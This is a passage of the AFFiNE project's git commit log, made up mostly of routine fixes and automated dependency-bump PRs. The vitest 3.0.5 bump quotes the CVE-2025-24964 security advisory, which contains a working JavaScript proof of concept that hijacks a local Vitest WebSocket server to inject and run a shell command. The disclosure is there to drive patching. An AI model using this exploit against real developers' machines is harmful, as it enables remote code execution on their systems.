- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7313 ](https://redirect.github.com/vitest-dev/vitest/issues/7313 ) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d )
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301 )) [<samp>(ef146)</samp>](ef1464fc7b )
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7340 ](https://redirect.github.com/vitest-dev/vitest/issues/7340 ) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7297 ](https://redirect.github.com/vitest-dev/vitest/issues/7297 ) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae )
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7289 ](https://redirect.github.com/vitest-dev/vitest/issues/7289 ) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c )
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7335 ](https://redirect.github.com/vitest-dev/vitest/issues/7335 ) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9 )
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7328 ](https://redirect.github.com/vitest-dev/vitest/issues/7328 ) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7306 ](https://redirect.github.com/vitest-dev/vitest/issues/7306 ) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2 )
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7311 ](https://redirect.github.com/vitest-dev/vitest/issues/7311 ) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56 )
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7291 ](https://redirect.github.com/vitest-dev/vitest/issues/7291 ) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 12:10:12 +00:00
doodlewind
56d604f685
perf(editor): use clipped section for worker bitmap cache ( #9957 )
...
Before (grey area as rendered canvas bitmap):
<img width="1114" alt="image" src="https://github.com/user-attachments/assets/9a209818-c388-4e55-af9b-116f24bd8027 " />
After:
<img width="1103" alt="image" src="https://github.com/user-attachments/assets/1102264a-ec21-4c0c-b4b6-e82a64b1a844 " />
2025-02-05 11:54:03 +00:00
CatsJuice
9bc085ff1b
fix(ios): can't connect to dev server ( #9959 )
2025-02-05 11:39:19 +00:00
renovate
e0dd90108f
chore: bump up @capgo/inappbrowser version to v7 ( #9956 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser ) | [`^6.9.35` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/6.9.35/7.1.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>Cap-go/capacitor-inappbrowser (@​capgo/inappbrowser)</summary>
### [`v7.1.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#716-2025-02-02 )
[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.6 )
### [`v7.1.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#711-2025-01-27 )
[Compare Source](847415fc3b ...7.1.1)
### [`v7.0.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#700-2023-05-24 )
[Compare Source](c1747d61cd ...847415fc3b4c7250e5f6ffb76d75c0c05cf74041)
##### ⚠ BREAKING CHANGES
- capacitor 5
##### Features
- add clearCookie method ([4c5bd3c](4c5bd3c604 ))
- capacitor 5 ([f023b23](f023b230ed ))
- force 0.4 ([1f83751](1f837513c0 ))
##### Bug Fixes
- add missing definition ([8f4084c](8f4084cb04 ))
- better documentation ([fe4ddab](fe4ddab78f ))
- build issue ([b1775db](b1775db824 ))
- build script ([551064c](551064cfa9 ))
- bump major ([803be81](803be81e74 ))
- ci name ([30a9987](30a9987d2d ))
- **deps:** update dependency [@​capacitor/splash-screen](https://redirect.github.com/capacitor/splash-screen ) to v5 ([6039de4](6039de40f0 ))
- **deps:** update dependency com.android.tools.build:gradle to v8.0.1 ([f2741a4](f2741a4565 ))
- **deps:** update dependency com.google.android.material:material to v1.9.0 ([8fe8de0](8fe8de03d1 ))
- finsih config cap 5 ([2b197e8](2b197e81b5 ))
- ios build ([e63cf37](e63cf37096 ))
- lint issue ([cc0d88f](cc0d88f3c6 ))
- missing namespace ([360352e](360352e6ae ))
- versions actions ([d45036d](d45036dae1 ))
### [`v6.9.37`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110 )
[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110 )
### [`v6.9.36`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#6936-2025-01-23 )
[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.35...6.9.36 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 11:23:57 +00:00
Brooooooklyn
10233f1dbf
fix(admin): migrate tailwindcss config to v4 ( #9940 )
2025-02-05 11:09:58 +00:00
renovate
14fbb8b059
chore: bump up oxlint version to v0.15.9 ( #9922 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs ) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint )) | [`0.15.8` -> `0.15.9`](https://renovatebot.com/diffs/npm/oxlint/0.15.8/0.15.9 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>oxc-project/oxc (oxlint)</summary>
### [`v0.15.9`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.9 ): oxlint v0.15.9
[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.8...oxlint_v0.15.9 )
#### \[0.15.9] - 2025-02-01
##### Features
- [`1a41181`](https://redirect.github.com/oxc-project/oxc/commit/1a41181 ) linter: Implement `eslint/prefer-object-spread` ([#​8216](https://redirect.github.com/oxc-project/oxc/issues/8216 )) (tbashiyy)
- [`adb8ebd`](https://redirect.github.com/oxc-project/oxc/commit/adb8ebd ) linter: Implement no-useless-call rule ([#​8789](https://redirect.github.com/oxc-project/oxc/issues/8789 )) (keita hino)
- [`3790933`](https://redirect.github.com/oxc-project/oxc/commit/3790933 ) linter: Add vitest/prefer-lowercase-title rule ([#​8152](https://redirect.github.com/oxc-project/oxc/issues/8152 )) (Tyler Earls)
- [`e8e6917`](https://redirect.github.com/oxc-project/oxc/commit/e8e6917 ) linter: Unicorn/switch-cases-braces support options ([#​8704](https://redirect.github.com/oxc-project/oxc/issues/8704 )) (1zumii)
##### Bug Fixes
- [`8ce21d1`](https://redirect.github.com/oxc-project/oxc/commit/8ce21d1 ) linter: Can't disable `no-nested-ternary` rule anymore ([#​8600](https://redirect.github.com/oxc-project/oxc/issues/8600 )) (dalaoshu)
- [`e929f26`](https://redirect.github.com/oxc-project/oxc/commit/e929f26 ) linter: Output `LintCommandInfo` for `CliRunResult::LintNoFilesFound` ([#​8714](https://redirect.github.com/oxc-project/oxc/issues/8714 )) (Sysix)
- [`4f30a17`](https://redirect.github.com/oxc-project/oxc/commit/4f30a17 ) linter: Unicorn/switch-case-braces mangles code when applying fix ([#​8758](https://redirect.github.com/oxc-project/oxc/issues/8758 )) (Tyler Earls)
- [`9cc9d5f`](https://redirect.github.com/oxc-project/oxc/commit/9cc9d5f ) linter: `ignorePatterns` does not work when files are provided as command arguments ([#​8590](https://redirect.github.com/oxc-project/oxc/issues/8590 )) (dalaoshu)
- [`1de6f85`](https://redirect.github.com/oxc-project/oxc/commit/1de6f85 ) linter: No-lone-blocks erroring on block statements containing comments ([#​8720](https://redirect.github.com/oxc-project/oxc/issues/8720 )) (Tyler Earls)
- [`77ef61a`](https://redirect.github.com/oxc-project/oxc/commit/77ef61a ) linter: Fix diagnostic spans for `oxc/no-async-await` ([#​8721](https://redirect.github.com/oxc-project/oxc/issues/8721 )) (camchenry)
- [`f15bdce`](https://redirect.github.com/oxc-project/oxc/commit/f15bdce ) linter: Catch `Promise` in `typescript/array-type` rule ([#​8702](https://redirect.github.com/oxc-project/oxc/issues/8702 )) (Rintaro Itokawa)
- [`5041cb3`](https://redirect.github.com/oxc-project/oxc/commit/5041cb3 ) vscode: Fix commands by reverting commit `259a47b` ([#​8819](https://redirect.github.com/oxc-project/oxc/issues/8819 )) (Alexander S.)
##### Performance
- [`d318238`](https://redirect.github.com/oxc-project/oxc/commit/d318238 ) linter: Remove sorting of rules in cache ([#​8718](https://redirect.github.com/oxc-project/oxc/issues/8718 )) (camchenry)
##### Documentation
- [`57b7ca8`](https://redirect.github.com/oxc-project/oxc/commit/57b7ca8 ) ast: Add documentation for all remaining JS AST methods ([#​8820](https://redirect.github.com/oxc-project/oxc/issues/8820 )) (Cam McHenry)
##### Refactor
- [`c2fdfc4`](https://redirect.github.com/oxc-project/oxc/commit/c2fdfc4 ) linter: Correctly handle loose options for `eslint/eqeqeq` ([#​8798](https://redirect.github.com/oxc-project/oxc/issues/8798 )) (dalaoshu)
- [`0aeaedd`](https://redirect.github.com/oxc-project/oxc/commit/0aeaedd ) linter: Support loose options for `eslint/eqeqeq` ([#​8790](https://redirect.github.com/oxc-project/oxc/issues/8790 )) (dalaoshu)
- [`194a5ff`](https://redirect.github.com/oxc-project/oxc/commit/194a5ff ) linter: Remove `LintResult` ([#​8712](https://redirect.github.com/oxc-project/oxc/issues/8712 )) (Sysix)
- [`4a2f2a9`](https://redirect.github.com/oxc-project/oxc/commit/4a2f2a9 ) linter: Move default `all_rules` output to trait ([#​8710](https://redirect.github.com/oxc-project/oxc/issues/8710 )) (Sysix)
- [`741fb40`](https://redirect.github.com/oxc-project/oxc/commit/741fb40 ) linter: Move stdout outside LintRunner ([#​8694](https://redirect.github.com/oxc-project/oxc/issues/8694 )) (Sysix)
- [`10e5920`](https://redirect.github.com/oxc-project/oxc/commit/10e5920 ) linter: Move finishing default diagnostic message to `GraphicalReporter` ([#​8683](https://redirect.github.com/oxc-project/oxc/issues/8683 )) (Sysix)
- [`9731c56`](https://redirect.github.com/oxc-project/oxc/commit/9731c56 ) oxlint: Move output from `CliRunResult::InvalidOption` to outside and use more Enums for different invalid options ([#​8778](https://redirect.github.com/oxc-project/oxc/issues/8778 )) (Sysix)
- [`fe45bee`](https://redirect.github.com/oxc-project/oxc/commit/fe45bee ) oxlint: Create different `CliRunResult` instead of passing `ExitCode` to it ([#​8777](https://redirect.github.com/oxc-project/oxc/issues/8777 )) (Sysix)
- [`2378fef`](https://redirect.github.com/oxc-project/oxc/commit/2378fef ) oxlint: Move ConfigFileInit output outside CliRunResult, exit code 1 when it fails ([#​8776](https://redirect.github.com/oxc-project/oxc/issues/8776 )) (Sysix)
- [`f4cecb5`](https://redirect.github.com/oxc-project/oxc/commit/f4cecb5 ) oxlint: Remove unused `CliRunResult::PathNotFound` ([#​8775](https://redirect.github.com/oxc-project/oxc/issues/8775 )) (Sysix)
##### Testing
- [`ad35e82`](https://redirect.github.com/oxc-project/oxc/commit/ad35e82 ) linter: Use snapshot testing instead of LintResult ([#​8711](https://redirect.github.com/oxc-project/oxc/issues/8711 )) (Sysix)
- [`bf895eb`](https://redirect.github.com/oxc-project/oxc/commit/bf895eb ) linter: Add diagnostic format test snapshots ([#​8696](https://redirect.github.com/oxc-project/oxc/issues/8696 )) (Alexander S.)
- [`34d3d72`](https://redirect.github.com/oxc-project/oxc/commit/34d3d72 ) linter: Add snapshot tester for cli ([#​8695](https://redirect.github.com/oxc-project/oxc/issues/8695 )) (Sysix)
- [`0bf2bcf`](https://redirect.github.com/oxc-project/oxc/commit/0bf2bcf ) oxlint: Test two real rules with same name but from different plugins ([#​8821](https://redirect.github.com/oxc-project/oxc/issues/8821 )) (dalaoshu)
- [`2b83b71`](https://redirect.github.com/oxc-project/oxc/commit/2b83b71 ) oxlint: Improve disabling "no-nested-ternary" tests ([#​8814](https://redirect.github.com/oxc-project/oxc/issues/8814 )) (Alexander S.)
- [`45648e7`](https://redirect.github.com/oxc-project/oxc/commit/45648e7 ) oxlint: Fix InvalidOptionTsConfig tests for windows ([#​8791](https://redirect.github.com/oxc-project/oxc/issues/8791 )) (Alexander S.)
- [`48bfed9`](https://redirect.github.com/oxc-project/oxc/commit/48bfed9 ) oxlint: Ignore windows path mismatch (Boshen)
- [`6f4a023`](https://redirect.github.com/oxc-project/oxc/commit/6f4a023 ) oxlint: Remove "--print-config" test ([#​8792](https://redirect.github.com/oxc-project/oxc/issues/8792 )) (Sysix)
- [`55c2025`](https://redirect.github.com/oxc-project/oxc/commit/55c2025 ) oxlint: Add `CliRunResult` to snapshot ([#​8780](https://redirect.github.com/oxc-project/oxc/issues/8780 )) (Sysix)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 10:54:57 +00:00
forehalo
7ceab1c7da
chore(ios): rebuild ios graphql schema ( #9935 )
2025-02-05 10:27:27 +00:00
forehalo
7826e2b7c8
refactor(server): use feature model ( #9932 )
2025-02-05 10:27:26 +00:00
forehalo
0ff8d3af6f
feat(server): auto create page owner role ( #9944 )
2025-02-05 10:09:57 +00:00
EYHN
5913715e33
fix(ios): fix app crash ( #9955 )
2025-02-05 09:44:54 +00:00
Flrande
c8790d20da
fix(editor): can not add attachment because service not exist ( #9952 )
...

2025-02-05 09:29:24 +00:00
renovate
75c4291325
chore: bump up vitest version to v3.0.5 [SECURITY] ( #9938 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq )
### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
### Details
When [`api` option](https://vitest.dev/config/#api ) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)
This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)
### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.
```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
```
### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (vitest)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes ) in [https://github.com/vitest-dev/vitest/issues/7366 ](https://redirect.github.com/vitest-dev/vitest/issues/7366 ) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd )
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7317 ](https://redirect.github.com/vitest-dev/vitest/issues/7317 ) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34 )
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7336 ](https://redirect.github.com/vitest-dev/vitest/issues/7336 ) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69 )
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7365 ](https://redirect.github.com/vitest-dev/vitest/issues/7365 ) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7313 ](https://redirect.github.com/vitest-dev/vitest/issues/7313 ) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d )
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301 )) [<samp>(ef146)</samp>](ef1464fc7b )
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7340 ](https://redirect.github.com/vitest-dev/vitest/issues/7340 ) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7297 ](https://redirect.github.com/vitest-dev/vitest/issues/7297 ) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae )
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7289 ](https://redirect.github.com/vitest-dev/vitest/issues/7289 ) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c )
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7335 ](https://redirect.github.com/vitest-dev/vitest/issues/7335 ) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9 )
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7328 ](https://redirect.github.com/vitest-dev/vitest/issues/7328 ) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7306 ](https://redirect.github.com/vitest-dev/vitest/issues/7306 ) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2 )
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7311 ](https://redirect.github.com/vitest-dev/vitest/issues/7311 ) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56 )
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7291 ](https://redirect.github.com/vitest-dev/vitest/issues/7291 ) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
pengx17
a1beb2aadb
fix(electron): sourcemap not loading for electron dev mode ( #9951 )
2025-02-05 08:34:57 +00:00
EYHN
ee0cfe4dc7
feat(nbstore): share worker between workspaces ( #9947 )
2025-02-05 07:57:03 +00:00
Saul-Mirone
972d76d685
refactor(editor): use spec builder to unify the extend of editor extensions ( #9916 )
2025-02-05 07:40:55 +00:00
doouding
02122098c7
fix: drag block issue ( #9902 )
...
### Changed
- Added support for changing the preview offset during dragging.
- Fixed the preview rendering for embed block and surface-ref block
- Resolved an issue where the host element might be reused in certain cases, which could cause unexpected behavior
- Moved viewport-related constants and methods to a more appropriate location
2025-02-05 07:25:53 +00:00
Brooooooklyn
abeff8bb1a
feat(server): doc level permission ( #9760 )
...
close CLOUD-89 CLOUD-90 CLOUD-91 CLOUD-92
2025-02-05 07:06:57 +00:00
Yifeng Wang
64de83b13d
chore(editor): switch to edgeless in renderer poc entry ( #9950 )
2025-02-05 06:36:20 +00:00
aki-chang-dev
2607e34063
feat(android): sign-in with google & magic-link & email ( #9868 )
...
- [chore(android): migrate to version catalog](16c0fb66e7 )
- [feat(android): integrate apollo](4dcf93b4f9 )
- [fix(android): fix android email sign-in](752cf34f33 )
